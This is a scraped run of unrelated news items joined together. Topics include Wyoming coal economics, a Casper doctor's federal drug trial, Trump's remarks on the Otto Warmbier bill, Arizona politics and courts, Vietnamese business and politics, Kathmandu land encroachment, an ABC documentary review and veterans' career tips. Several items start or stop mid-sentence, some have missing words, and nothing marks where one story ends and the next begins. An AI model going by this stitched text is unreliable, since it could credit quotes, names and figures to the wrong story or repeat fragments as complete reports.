with the Obama administrations Environmental Protection Agency over proposed coal cutting regulations, market pressures have dramatically increased in the years since the infamous Clean Power Plan which the Trump administration has proposed to dismantle was introduced. Wyomings coal industry has lost more than a quarter of its annual production since 2012 due to the increasing use of natural gas to power the country, as well as the early retirement of older coal plants and the growing renewable sector. With the change in pressure on the coal industry, environmental groups have pivoted their advocacy as well, focusing in more recent years on the economics of coal-fired power, which is rapidly being outpaced by other options. Rocky Mountain Power has been pressured by environmental groups to say publicly that its coal fleet was often more expensive than wind or purchasing power on the open market. The company did admit that in part through an economics of coal study in December, but noted that the reliability of the companys energy system also had to be considered given that coal plants provide large amounts of baseline power for the companys customers from Wyoming to Washington. The presentation that shook Gordon and encouraged environmental groups confirmed that reliability would not be greatly affected and money would be saved. PacifiCorps calculations are not unique in the power sector, as many plants have announced retirements in recent years due to the price savings of pivoting to other energy sources. Those closures have wreaked havoc on Wyomings coal sector and clouded the outlook for the industry which provides a tremendous amount of the states funding every year. Environmental groups say the decline of coals economic strength is a positive for public health and note that Rocky Mountain Power is coming to grips with that reality. This just adds to all the numbers were seeing across the country that show clean energy is a far better deal than coal, Christopher Thomas, Sierra Club campaign representative, said in a statement Thursday. Now is the time for Rocky Mountain Power to seriously look at helping coal communities prepare for a coal-free future. Follow energy reporter Heather Richards on Twitter @hroxaner Love 16 Funny 3 Wow 1 Sad 2 Angry 9 The business news you need Get the latest local business news delivered FREE to your inbox weekly. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Casper Star-Tribune will welcome a full-time reporter in June to cover the Eastern Shoshone and Northern Arapaho tribes, thanks to a yearlong partnership with nonprofit Report for America. Chris Aadland, who will be based in Riverton, joins the Star-Tribunes news team after covering public safety, city government and breaking news at the Wisconsin State Journal in Madison, Wisconsin. Aadlands coverage of the Wind River Indian Reservation will focus primarily on in-depth and solutions-based journalism, as well as breaking news and features. One of 61 corps members headed to 50 newsrooms as part of this years Report for America class, Aadland sought a newsroom where he could provide nuanced and thorough reporting of a Native American community. His father is an enrolled member of the Leech Lake Band of Minnesota Chippewa Tribe, and Aadland began learning the Ojibwe language in college. The Star-Tribune, likewise, sought a reporter to address the lack of resources devoted to Native American journalism in Wyoming. None of Wyomings daily newspapers currently have a reporter devoted to covering the reservation full time. Aadland grew up in Pine City, Minnesota, and attended the University of Minnesota. He covered state government and politics as a student reporter at the Minneapolis Star Tribune and also worked as the managing editor of the Minnesota Daily, the University of Minnesotas student-run newspaper. His reporting in Wyoming will cover a wide variety of topics for instance, the future of health care near the reservation is currently uncertain as the hospitals there undergo changes, and the recent government shutdown briefly created what one of the tribes deemed a crisis situation. But Aadland will also tell the everyday stories of the Eastern Shoshone and Northern Arapaho tribes, the ones that dont tend to make headlines as much as negative issues. As a part of his Report for America commitment, Aadland will also lead a service project during his time in Wyoming. Report for America is an initiative of The GroundTruth Project that launched in 2017 with the aim of combating the decline of resources available for local journalism. This years class, up from 13 corps members in 2018, spans 28 states. The Buffalo Bulletin and Wyoming Public Media will also be hiring reporters as part of this Report for America class. Aadlands addition to the Star-Tribune newsroom will be funded through contributions from Report for America, the Star-Tribune and the community itself. If youd like to help support the Star-Tribunes reservation coverage, you can do so through monthly or one-time donations. Love 2 Funny 2 Wow 0 Sad 1 Angry 0 Attorneys began selecting jurors Thursday for the trial of a Casper doctor facing federal drug conspiracy charges. Law enforcement arrested Shakeel Kahn on Nov. 30, 2016, in his Thorndike Avenue home and days later charged him with illegally distributing prescription painkillers. Prosecutors have since alleged the doctor operated a criminal conspiracy that resulted in the overdose death of an Arizona woman. He faces 21 felonies in the case, including a single count of conspiracy to distribute drugs resulting in death and a single count of operating a continuing criminal enterprise. A conviction on either of those crimes is punishable by between 20 years and life in prison. His brother, Nabeel, is also defending himself against prosecutors allegations in the case. He faces two charges: a count of conspiracy to distribute drugs resulting in death and a count of using firearms in relation to drug trafficking. Both Kahn brothers have pleaded not guilty. Jury selection, which began Thursday morning from a pool of more than 80 people, was still underway by 5 p.m. Judge Alan Johnson was expected to seat a jury before concluding the days proceedings. Prosecutors have indicated their case will take weeks to present and that they will call at least two of Kahns co-defendants Paul Beland, of Massachusetts, and Shawnna Thacker, of Arizona to testify. Beland and Thacker have both pleaded guilty as part of deals with the governments lawyers. Kahns wife, Lyn Kahn, pleaded guilty Wednesday to a single felony. In Thursday filings, prosecutors indicated they intend to call her to testify during the case. Follow crime reporter Shane Sanderson on Twitter @shanersanderson Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Attorneys in the federal drug conspiracy case against a Casper doctor will make opening statements Monday morning for a trial set to last weeks. Dr. Shakeel Kahn and his brother, Nabeel, face a total of 23 felonies in the case, to which the two men have pleaded not guilty. The doctor faces the vast majority of the charges: 21, including a single count of conspiracy to distribute drugs resulting in death and a single count of operating a continuing criminal enterprise. A conviction on either of those crimes is punishable by between 20 years and life in prison. His brother faces a count of conspiracy to distribute drugs resulting in death and a count of using firearms in relation to drug trafficking. A jury, seated Thursday night, was not present in the courtroom Friday. During the mornings approximately 30-minute proceeding, attorneys argued the extent to which prosecutors could admit statements by Lyn Kahn, the doctors wife, who pleaded guilty to a single felony Wednesday. Assistant U.S. Attorneys Stephanie Sprecher and Stephanie Hambrick have not made public what they expect Lyn Kahns testimony to allege. The doctors defense attorney, Beau Brindley, who has reviewed a summary of Lynn Kahns anticipated testimony, indicated Friday he would oppose statements regarding prosecutors allegations that Shakeel Kahn illegally distributed drugs in Arizona before he moved to Casper. Judge Alan Johnson said he would review attorneys legal arguments before Lyn Kahn testifies during the trials second week. Attorneys will return to Caspers federal courthouse by 9:30 Monday morning to make their hour-long opening statements, during which they will outline the evidence they expect to be presented. Federal law enforcement arrested Shakeel Kahn on Nov. 30, 2016, in his Thorndike Avenue home and days later charged him with illegally distributing prescription painkillers. Prosecutors have since said the alleged criminal conspiracy resulted in the overdose death of an Arizona woman. Prosecutors have indicated that, in addition to the doctors wife, they also intend to call at least two of Kahns former co-defendants Paul Beland, of Massachusetts, and Shawnna Thacker, of Arizona to testify. Beland and Thacker both pleaded guilty as part of deals with the prosecution. Natrona County prosecutors have convicted a number of people in state court for drug offenses they have alleged are related to the federal case. Follow crime reporter Shane Sanderson on Twitter @shanersanderson Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. JACKSON (AP) Attorneys for a 42-year-old Wyoming man who has pleaded guilty in the killing of his pregnant ex-girlfriend have withdrawn a request to change his plea. Erik Ohlson, of Jackson, had pleaded guilty in February to murder and manslaughter in the killing of Jennifer Nalley at her Teton Valley, Idaho, cabin. But last week, his attorneys filed a motion to withdraw that guilty plea. The Jackson Hole News&Guide reports that a judge was set to hear arguments on the motion Thursday but on Wednesday night Ohlson's attorneys filed to withdraw the motion. Prosecutor Billie Siddoway says the court will now proceed to Ohlson's previously scheduled May 9 sentencing. Ohlson has been in custody in the Madison County Jail in Idaho since his July 2016 arrest. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 TEP's wants to keep funding for energy-saving incentive programs unchanged through 2020, though it says it will fall slightly short of the state-mandated savings. million bill presented by North Korea to cover the medical costs for Otto Warmbier, an American college student who fell into a coma in North Korean custody and died shortly after being returned home after spending 17 months in a Pyongyang prison. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else, Trump tweeted. This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl! Trump then tweeted a quote praising his hostage negotiation skills: President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in last two years. No money was paid. Cheif Hostage Negotiator, USA! the president added, misspelling the word chief. "We did not pay money for our great Otto," Trump told reporters on the South Lawn. "There was no money paid. There was a fake news report that money was paid. I haven't paid money for any hostage." "We don't pay money for hostages," he added. "The Otto case was a very unusual case but I just want to let you know no money was paid for Otto." Notably, Trump did not deny he agreed to the bill from North Korea. On Thursday, the Washington Post reported that a $2 million invoice was presented to U.S. State Department envoy Joseph Yun hours before Warmbier was flown out of Pyongyang in a coma on June 13, 2017. The 22-year-old died six days later near his parents home in Ohio. According to the Post, Trump approved payment on the invoice, which was sent to the Treasury Department and remained unpaid through at least 2017. Warmbier, a University of Virginia student, was imprisoned in January 2016 while visiting North Korea as a tourist. According to North Korean state media, he was sentenced to 15 years of hard labor for trying to remove a poster bearing a propaganda slogan from his hotel. In February, after his second summit with, Trump said that he did not hold the North Korean authoritarian leader responsible for Warmbiers death. I dont believe he would have allowed that to happen, Trump told reporters in Hanoi, Vietnam. Those prisons are rough. Theyre rough places. And bad things happen. I really dont believe I dont believe he knew about it. Trump took credit for negotiating the release of Warmbier, who suffered a massive brain injury while in North Korean custody. The president defended Kim, saying he wasnt initially aware of Warmbiers deteriorating condition. Source: Yahoo News Three actors from the internationally acclaimed HBO miniseries Band of Brothers will be at the Pima Air & Space Museum on Saturday, May 4. The public is invited to the 2 p.m. free event and must pick up a wristband starting at noon the day of the event. (See box for information) Actors Douglas Spain, who portrayed Antonio Garcia; Mark Lawrence, who portrayed William Dukeman Jr.; and Rene Moreno, who portrayed Joseph Ramirez will partake in a discussion panel about the movie, followed by a meet-and-greet session. These actors, among others, continue to have a passion for the history and not only the men they portrayed but all of our World War II veterans, said organizers, adding that cast members have traveled across the United States and Europe to share the stories of these veterans. According to an HBO website, this series tells about the Armys Easy Company, 506th Regiment of the 101st Airborne Division during the Allied invasion of France in World War II. The series, which was produced by Tom Hanks and Steven Spielberg and aired in 2001, was based on interviews with survivors of the company and from soldiers letters and journals. They volunteered to join the elite paratroopers. Fit parents, like Father, frequently guide their children through complex situations without court interference, she wrote. Timmer said there is no suggestion the father will exercise his authority in a way that endangers the child. She acknowledged that the father has, in the past, been reluctant to accept the diagnosis of gender dysphoria. But Timmer said that does not demonstrate he would fail to appropriately address that diagnosis in the future. Timmer said the father has been willing to allow the child to explore gender issues in his home and to learn about gender issues himself. There is no evidence that even if the father mismanaged the gender dysphoria diagnosis by acting on his own, without court oversight, that would put the child at risk for harm, the justice wrote. Family court judges can impose specific limits on the power of the parent who is the sole decision-maker, Timmer said. But any limitation must be carefully tailored to prevent harm. WASHINGTON The Department of Homeland Security confirmed this week that it will waive dozens of environmental, health and other laws to clear the way for construction on about 58 miles of border barriers, including 12 miles of fencing near Yuma. There is an acute and immediate need to construct physical barriers and roads in the vicinity of the border of the United States in order to prevent unlawful entries into the United States in the project area, DHS said in Federal Register notices posted Wednesday. Those notices said Acting Secretary Kevin K. McAleenan would invoke the departments authority to waive more than 30 regulations ranging from the Clean Air Act and Safe Drinking Water Act to the Eagle Protection Act and Endangered Species Act to pave the way for border wall projects in Arizona and New Mexico. In order to ensure the expeditious construction of the barriers and roads in the project area, I have determined that it is necessary that I exercise the authority that is vested in me, McAleenan said in the notice. The notices are for 8 miles of wall near Yuma, about 46 near the Columbus Port of Entry in New Mexico, and another 4.1 miles near San Luis. Ridge helped support two more publications that allowed students to get practical experience: the Community News Service (now Arizona Sonora News) in 1973 and the ground-breaking bilingual newspaper El Independiente, founded by Professor Jacqueline Sharkey, in 1976. Ridge also served as department head from 1985 to 1991. When Arizona Republic reporter Don Bolles died in a car bombing in 1976, Ridge ensured the school was heavily involved in the media investigation that followed. In 1978, Ridge was named the Arizona Newspaper Association Teacher of the Year, and in 2003 he was inducted into the Arizona Interscholastic Press Association Hall of Fame. Ridge was born on March 26, 1933, in Alexandria, Louisiana, and graduated from Glendale High in Arizona. He began his professional journalism career while in college at Arizona State University, when he was hired by the Arizona Republic as a copy boy and obituary writer. Soon, he moved to sports. After being drafted and assigned to Germany, Ridge began working for the Stars and Stripes military newspaper. As a news editor, he covered construction of the Berlin Wall, the Soviet invasion of Hungary, and the downing of Gary Powers U2. From December 19th through December 26th we will be granting free access as a gift to our readers presented by Copenhagen Imports PHOENIX Reversing course, state senators agreed Thursday to give a Gilbert teen one more chance to make his case for declaring lemonade the state drink. But they deny its because the sponsor of the bill, the No. 2 Republican in the House, has put the squeeze on them. House Majority Leader Warren Petersen, R-Gilbert, conceded to Capitol Media Services that he was not going to simply accept Wednesdays defeat of the legislation. I talked to some people, he said following Wednesdays 18-12 vote to kill House Bill 2629. And what did he say? I dont recall, Petersen responded. But it apparently was enough: On a voice vote Thursday, the Senate agreed to reconsider the issue at some point in the future. As majority leader, Petersen holds certain powers to help decide what bills do and do not get a vote. But Senate President Karen Fann, R-Prescott, said thats not whats behind the move to reconsider Wednesdays vote. He has never threatened anything, she said. And Fann said Petersen is not holding up action on any Senate bills until he gets his way. Many times, self-appointed border watchers have been arrested for committing crimes. Most notoriously, in 2009 Shawna Forde and two other affiliates of her fledgling militia group killed 9-year-old Brisenia Flores and her father, Junior Flores, in an Arivaca home invasion intended to raise money for their group. Others have been successfully sued. But never, apparently, has a state agent tried to argue that their activity is prohibited by the state Constitution. Should it be thought of that way? I spoke with a handful of people this week to find out. One, Charles Heller, a Tucson gun-rights activist, told me it doesnt apply because, No one is raising an armed body of men. Theres nothing done about them because theres nothing you can do constitutionally, he said. If they exceed the law, then you can do something. But doing something would be counter-indicated in most cases. Heller, who said he joined the Minutemen border-watch activities in 2006, said you could not fairly point to that as an armed body of men. It was a loosely organized group, some of whom were armed, he said. The city is moving to an every other week recycling schedule, following in the footsteps of dozens of other cities and towns across the nation who have either cut back on services or eliminated services entirely. Last year he agreed to allow some new hurdles put in the path of initiative circulators to remain on the books, at least for the time being. Beene, who wrote the opinion for the three-judge appellate court, did not dispute the contention of challengers that a 2017 statute approved by GOP lawmakers requiring strict compliance with all election laws could keep some individuals and groups from crafting their own laws and asking voters to approve them. But Beene said the court cannot rule on the issue because no one was actually being penalized at the time and no initiative was at risk of being thrown off the ballot for failing to comply with the new standard, meaning the case is not yet ripe for a decision. He also wrote a ruling upholding a lower-court decision that heterosexual couples who have always had the right to marry in Arizona are not entitled to the same benefits provided to gay couples who, at the time, were not entitled to wed. Beene said refusing to recognize a womans claim she was the domestic partner of her boyfriend was not illegal discrimination. The Florence town manager told police that the owner of Johnson Utilities threatened last year to cut his throat. Documents released Thursday show that Town Manager Brent Billingsley was documenting utility company trucks leaking possibly contaminated materials on Diversion Dam Road. Billingsley said lab results showed the spillage had identical bacteria components to raw sewage. What followed, the police report says, was Billingsley getting an expletive-filled call from George Johnson saying he was going to cut his throat. Johnson denied any such conversation. Im a business person, he told an investigator for the Arizona Attorney Generals Office, which took over the probe. I dont go around threatening people, the report quotes Johnson. He declined to answer further questions without an attorney, later supplying a written affidavit invoking his right to remain silent. The case was dropped after a lawyer from the Attorney Generals Office pointed out the call was not recorded and there were no other witnesses. Kathmandu, Nepal, April, 26, 2019: Chairman of the Madhesi Commission (MC) Dr. Bijaya Kumar Dutt has been honored by the Chitragupta welfare society amid a function organized at the MC premises on Thursday. Speaking at the function, Dr. Dutta expressed his gratitude to the organizer for the honor. During the function, he also reiterated his commitment for develop the MC as the strong, institutional and functional organization. OPINION: "We are now entering a new "industrial revolution," one in which using non-fossil fuels to power society is receiving all the attention. However, I contend we are making the same mistake as was made in the 1700's. Namely, we are not considering what will be the effect of the new sources of energy on the environment," writes Green Valley resident William Frix. Indochina Telecom on Thursday launched Vietnams first mobile virtual network operator (MVNO) ITelecom, increasing the number of telecom service providers in the Southeast Asian country to six. The five veteran mobile network operators in Vietnam include Vinaphone, MobiFone, Viettel, Vietnamobile, and G-tel. An MVNO is a wireless communications service provider that does not own the wireless network infrastructure over which it provides the service to its customers. Newcomer ITelecom obtained access to network services from telecom market leader Vinaphone under a business agreement to offer its own network service. Prefixing phone numbers on its network with 087, ITelecom says it is committed to offering flexible telecom services and stable quality at reasonable costs. The companys deputy general director Luu Anh Son said the virtual model helps save considerable costs, time, and effort whilst still ensuring quality for its users. For Vinaphone, the agreement offers an opportunity to resell voice and data packages and share network operating costs, allowing the telecom giant to ultimately add to its bottom line. Indochina Telecoms services are currently offered to workers in industrial parks in nine provinces and cities including Hanoi, Thai Nguyen, Vinh Phuc, Bac Giang, Bac Ninh in northern Vietnam, and Binh Duong, Ho Chi Minh City, Long An and Dong Nai in the south. The operators most popular package allows users to enjoy all under-20-minute calls within its and Vinaphones networks, as well as 30-minute calls to other networks and 3GB of daily Internet data at a cost of VND77,000 (US$3.3) a month. ITelecom has yet to establish its own system of representative offices in Vietnam, instead relying on wholesale and authorized agents to connect with customers a system which could potentially inconvenience customers in need of customer or tech support. To overcome this drawback, the operator plans to ink agreements with other networks to contract out such services at reasonable prices, while providing a variety of packages to different groups and user segments, according to Son. Established in 2008, Indochina Telecom has more than a decade of experience in providing basic mobile network and Internet services across Vietnam. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Vietnams coffee exports are forecast to fall to around two million 60-kg bags in April from 2.87 million bags last month, traders said on Thursday, as farmers are not keen to sell at low prices. A long holiday from this weekend will also put a break on coffee shipments, a trader based in the Central Highlands, the countrys largest coffee growing area, said. Farmers in the Central Highlands sold coffee at 30,400-31,500 dong ($1.31-$1.36) per kg on Thursday, compared with 30,500-31,400 dong last week. Farmers are selling moderately as they are complaining that prices are too low for them to make profit, another trader said. Traders in Vietnam offered 5 percent black and broken grade 2 robusta at a $45 per tonne discount to the July contract, flat from last week. July robusta coffee settled down $8, or 0.6 percent, at $1,391 per tonne on Wednesday, after setting a new more than three-year low of $1,389. Meanwhile, in Indonesia, premiums for the grade 4 defect 80 robusta rose to $130 to the July contract on Thursday from $100-$110 a week ago, according to a trader based in Lampung. Prices are rising due to increasing demand, the trader said. Another trader said premiums were $100-$110 to the June contract. Your browser does not support the audio element. Trained buffalo are the new hit photo prop in central Vietnams famed city of Hoi An, where tourists hope posing with these tamed animals will add some spice to their Instagram. Forget planting crops and feeding chickens. Farmers in Hoi An are raking in the dough from a new revenue stream: buffalo photo shoots. Thats right. For just a few bucks holidaymakers visiting the famed tourist hub can pose with beautifully groomed, well-trained water buffalo in lush country fields a winning combination for a perfect Instagram post. Farmers in the citys Cam Chau Ward now spend their days resting atop their buffalo, hoping to catch the attention of passing tourists. A farmer rests on his buffalos back while waiting for tourists in Hoi An, central Vietnam. Photo: T.B.D / Tuoi Tre With just a few quick instructions, their buffalo smile and perform a few tricks on command, creating the perfect opportunity for visitors to snap a few shots with the countryside creatures. Nguyen Nam, a 58-year-old local farmer, said that raising buffalo solely for tourism purposes has become trendy in Hoi An over the past few years, thanks to the regions rapidly developing eco-tourism industry. He shared that the buffalo being used as photo props in Hoi An are typically raised as normal until they reach their full-grown size. Then, they are trained properly as models so that they can pose with tourists. The farmers then bring their buffalo to scenic rice paddies on the citys edge and wait to catch the attention of passers-by. Photos and postcards depicting our model buffalo have become so viral that foreigners go out of their way to visit Hoi An just to experience it for themselves, Nam said with pride. A farmer poses with his pet buffalo in Hoi An, central Vietnam. Photo: T.B.D / Tuoi Tre Dinh Phong, the 50-year-old owner of five pet buffalos and a large farming land plot in Hoi An, also claims to make a decent living thanks to the pet buffalo. After spending 30 years trying to make a life for himself in southern Vietnam, Phong returned to Hoi An to farm and raise buffalo. My life right now is the definition of absolute happiness, he said. To be honest, theres no place like home. But raising model buffalo is no easy task. Aside from the capital needed to invest in the animals themselves, famers must make detailed plans on how they will raise their animals to be most appealing to tourists as well as learn English in order to communicate with would-be customers. Some farmers even apply perfume to their models so that they get used to human smells and do not become too excited during a photo shoot." Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Your browser does not support the audio element. Vietnamese Prime Minister Nguyen Xuan Phuc praised the Vietnam-China relationship and welcomed further investment projects from the East Asian country during his trip to Beijing on Thursday. PM Phuc joined talks with Chinas Party General Secretary and President Xi Jinping in Beijing earlier this week as part of his trip to Beijing to attend the second Belt and Road Forum for International Cooperation from April 25 to 27. During their conversation, the Vietnamese head of government conveyed regards from Party chief and State President Nguyen Phu Trong to the Chinese leader. Phuc shared his appreciation for the recent development of bilateral ties between both nations, affirming that Vietnam consistently follows the external policy of independence, peace, cooperation, and development, while focusing on promoting a stable, healthy, and sustainable comprehensive strategic cooperative partnership with China. Hanoi welcomes and supports Chinas Belt and Road initiative as it serves as a means to promote cooperation, mutual respect, and international law, thus contributing to common development and prosperity of all countries involved The premier proposed that both countries increase the exchange of high-level visits and bolster exchanges and cooperation at all administrative levels. He urged the two sides to improve their economic cooperation and praised efforts to open up both markets to better trade balance, PM Phuc also welcomed China to carry out large projects using advanced and environmentally-friendly technology in Vietnam. During their talks, the two leaders discussed enhancing collaboration in managing the sustainable use of water resources in the Mekong River, monitoring nuclear safety, and implementing the three documents relating to the Vietnam-China land border. Replying to his guest, General Secretary Xi shared his belief that PM Phucs trip demonstrates the importance that the Vietnamese Party and state attach to its relationship with China, as well as Vietnams contribution to the success of the forum. The Chinese Party and state prioritize the relationship with Vietnam and agree on the enhancement of political trust and promotion of substantive cooperation across all fields, according to Xi. China supports Vietnam in promoting its role in multilateral mechanisms, particularly Vietnams chair of the Association of Southeast Asian Nations (ASEAN) in 2020, Xi said. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Vietnamese Party Chief and State President Nguyen Phu Trong will return to work soon," Vietnams foreign ministry said on Thursday. A heavy workload and extreme weather have affected the health of General Secretary and State President Nguyen Phu Trong, according to Le Thi Thu Hang, spokesperson of the Ministry of Foreign Affairs. Hangs statement was given in response to a question from AFP regarding rumor of his health following a working trip to the Mekong Delta province of Kien Giang earlier this month. He will return to normal work soon, Hang reiterated. President Trong was in Kien Giang from April 13 to 14 to discuss the implementation of socio-economic, security, and national defense initiatives with local officials. On Thursday, chairwoman of the lawmaking National Assembly Nguyen Thi Kim Ngan told voters in her electorate that State President Trongs health is stable and he will soon be fit to resume work. The leader, 75, became State President of Vietnam in October 2018 after the death of his predecessor, late State President Tran Dai Quang. He is also General Secretary of the Communist Party of Vietnam, a position he has held since 2011. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! SKY News will broadcast a Peoples Forum as the Prime Minister and Opposition Leader face voters questions from 100 undecided voters. David Speers will moderate the event, held jointly by The Courier-Mail in Brisbane on Friday May 3. If youve found the campaign boring so far, tune into this forum. The leaders cant hide or dodge. Theyll have to convince a room of undecided voters why they deserve to be Prime Minister. These forums have been pivotal in recent election campaigns and give everyone a fascinating look at whos really up to the job, said David Speers. Sam Weir, Editor, The Courier-Mail said: Queensland is the key battleground of this election and, with so many marginal seats at stake, who holds power from May 18 will be decided by voters in the Sunshine State. As Queenslands most influential media brand, The Courier-Mail is delighted to partner with SKY News to host the Peoples Forum in Brisbane on May 3. Its an essential opportunity for voters from all around Queensland to put our political leaders to the test on the issues that really matter to their lives. Paul Whittaker, SKY News Chief Executive said: Its appropriate that the most highly anticipated debate of this campaign is being held in Brisbane where the Coalition is under intense pressure to hold 21 of the 30 federal parliamentary seats up for grabs at next months election. Queenslands knife-edge marginal seats will play a pivotal role in the election outcome with preferences from minority parties likely to prove crucial in deciding the final results. The SKY News/The Courier-Mail Peoples Forum will provide undecided voters with a unique opportunity to question the leaders on their policies and vision for the country just two weeks out from Australians going to the polls. Candid, direct and Live our Peoples Forum debate will test the political mettle and authenticity of both leaders who will be asked to address the concerns of the people. Friday May 3 4:00pm AEST Speers with David Speers Live from Brisbane 5:30pm AEST SKY News/ The Courier-Mail Peoples Forum: The Countdown 6:30pm AEST SKY News/ The Courier-Mail Peoples Forum Live hosted by David Speers 7:30pm AEST SKY News/ The Courier-Mail Peoples Forum: The Verdict hosted by Paul Murray KATHMANDU, April 26: The Kathmandu Metropolitan City (KMC) is now planning to demolish infrastructures which were constructed by encroaching upon public lands of Old Bus Park and Khula Manch- the open theatre. Receiving a memorandum submitted by a team, comprising members of the House of Representatives from Kathmandu-6, Bhimsen Das Pradhan, KMC Mayor Bidya Sundar Shakya clarified that preparation was underway to demolish all structures constructed by encroaching upon the public land. "The shuttered kiosks set up for commercial purpose in the public place should be removed immediately to conserve the public property ", reads the memorandum. Mayor Shakya however argued that Deputy Mayor did not help him to resolve the problems of Khula Manch. Dispute surfaced between Mayor Shakya and Deputy Mayor Hari Prabha Khadgi after she refused Mayor Shakya's request to carry out onsite visit of the under construction infrastructure there. But, Deputy Mayor Khadgi told the National News Agency (RSS) that Mayor Shakya had not officially given responsibility to her to carry out monitoring of Khula Manch but only asked her to know about the issue there. She said, "I have not got the letter officially today. Monitoring will be carried out by holding meeting on Sunday." The locals have given ultimatum to the KMC to remove the shutters constructed with the encroachment of Khula Munch area within May14. The locals demonstrated on Thursday after 40 shuttered kiosks were constructed there. Using public land for commercial purpose is the matter of concern, KMC Spokesperson Ishworman Dangol said that all the structures would be demolished after the monitoring. They say if you cant see it, you cant be it. The number of Indigenous parliamentarians is so historically low, youd have to wonder why any young Indigenous person would ever contemplate a career in politics. The statistics are bleak -just as they are as Indigenous CEOs in corporate Australia, or for heading up government bodies. The numbers are also stacked heavily against the community for tertiary education too. ABC doco Will Australia Ever Have a Black Prime Minister? certainly begin from a position of optimism, but its an important conversation. Actor Mark Coles Smith (Picnic at Hanging Rock, The Gods of Wheat Street, Hard Rock Medical) embarks on a quest for answers criss-crossing the country to meet those who have been at the face of change, and those from whom it lays ahead. Coles Smith was just 14 when he landed his first role in Ocean Star, after auditioning in Broome. Hes gone on to continued success but statistically, young Indigenous males are more likely to enter prison than parliament. As he discovers, the education and support systems for his peers means the part is doubly harder. Over the doco he meets primary school students in Broome, learns about a lack of aid in the Northern Territory and hears from WA politician Ken Wyatt , Liberal member for Hasluck. His own sister, Malika, is currently studying at Sydney University, the same path tread by multiple PMs. She has her sights set on law not politics, but acknowledges a desire to affect policy change may come later in life. Aretha Brown, the former Prime Minister of the National Indigenous Youth Parliament, is also a young woman with much ambition and youd wish there were more of her in our real Parliament. But it is Stan Grant who offers the most wisdom here, suggesting that while Australia wont have a Black PM, it can have a PM who is Black. Grant believes their heritage will be secondary to their leadership and policies, going as far as to suggest that they will more likely face questions about whether they are Indigenous enough. Barry Cassidy also appears with a few history lessons, mostly surrounding the 12 post-War PMs (5 of whom held office in the last 12 years alone). But it is Professor Yin Paradies from Deakin University who crunches the numbers and paints the bleak outlook. Coles Smith reacts to the realities for the camera and producers Joined Up Films have sought to ensure there is optimism to be found, largely through the eyes of youth. Sometimes the script gets a little preachy (the opening scene feels too forced) and frankly there are other minorities that could also ask the same question. Indeed, with only 1 woman having ever taken the office majorities too. I guess if a Reality TV boss can become US President anything is possible. Will Australia Ever Have a Black Prime Minister? is definitely food for thought. Will Australia Ever Have a Black Prime Minister? airs 7;40pm Sunday on ABC. Military Vets on What You Can Learn From Their Service Military Skills Youll Want to Bring to Your Personal and Professional Life Those of us who havent served in the military might never fully understand the weight of what serving ones country means. Still, its fascinating to hear the stories and the wisdom that veterans have gained from their time in the service and how those experiences impact their everyday lives. RELATED: Executives Share Their Best Career Advice for 2019 It turns out there are countless lessons and skills that veterans have taken from their military service that translate into everyday lives, no matter your personal or professional status. With that in mind we asked veterans, from a range of backgrounds, to share the most important lessons they learned in the military and how those skills can help anyone tackle real life. Always Be Situationally Aware Deadly attacks dont just happen in far off places such as Iraq or Gaza. Sadly, in a day and age when women at a Tallahassee yoga studio are randomly shot, we know that no place can be considered unequivocally safe. One of the takeaways from my military training that I believe should be applied to all facets of life is the importance of maintaining situational awareness, says former Army Captain and co-founder of Operation Heal Our Heroes, Everett Weston. (You might also recognise Weston from Bravos Summer House.) This means knowing whos at your front, your six and your flanks, he says. While this clearly applies to physical safety, Weston says it also goes beyond that. This concept can be applied to anything from a business climate to navigating a foreign country, or a New York City subway system. GettyImages This point was echoed by former Navy Fighter Pilot and founder/CEO of Top Gun Options, Matthew Whiz Buckley. Soldiers tend to be hyper-aware of their surroundings because when youre out in the field, theres no room for distractions, he says. Businessmen and women should also know whats going on around them at all times. Figure out what your competition looks like, research them, and stay up-to-date on their current events. Are they doing something differently? You dont want to miss out on critical revelations, he says. If you dont know where to start, Buckley suggests subscribing to newsletters, e-newsletters, magazines and other publications relevant to your business so you can stay well-informed. Matthew Buckley Every Problem Has a Solution Mental state is everything. Problems are always happening when youre in the military and as a soldier you have to have the right way of thinking in order to solve them, says former Staff Sergeant in the Israel Defense Forces, Guy Hadad. Every problem has a solution is more than just a sentence its a mindset! Once you internalise this mindset, you can start acting upon it, he adds. When this happens, instead of saying theres no solution and giving up, you start saying, I will find a solution, and eventually you do. This mental technique goes hand-in-hand with improvisation, which is an incredibly important skill to have in everyday life. No matter how prepared you are, you cant prepare for everything, says Hadad. The Army teaches you how to think quickly on your feet and make the best of a situation. Think: finding a creative way to fix a problem or changing certain aspects in order to accomplish the overall goal, he explains. In entrepreneur speak, its the ability to pivot. Develop a Routine to Tackle Your Day Small things, such as making your bed every morning, can have a huge impact on your life. The idea is that if you make your bed, you will have accomplished your first task of the day, setting the tone for the rest of your day. This concept is something that came up repeatedly in our conversations with veterans. Having a good routine in all walks of life is incredibly important to be and feel accomplished, says former Sergeant First Class in the Israel Defense Forces, Yaakov Edri. It means waking up early, making your bed, working out and making to-do lists. Since military service is often a very physical endeavor, its not surprising that exercise was mentioned.. In the military, soldiers learn that there arent only physical benefits to be gained from working out there are major mental ones as well. While I never really became a morning person amidst all of the early morning wakeups, I did notice that I was typically more productive and focused at work after getting my heart and metabolism pumping after a pushup workout or a two-mile run early in the morning, says Weston. Theres nothing like a little physical exertion to help clear your mind of stressors and prepare you to tackle the day. Developing a solid routine also means taking pride in how you look, and that has nothing to do with vanity. A good soldier takes pride in their physical appearance because it reflects that individuals professionalism and attention to detail, says Weston. Thats why he carried over that concept into his business career, making sure to wear clean and pressed clothes and 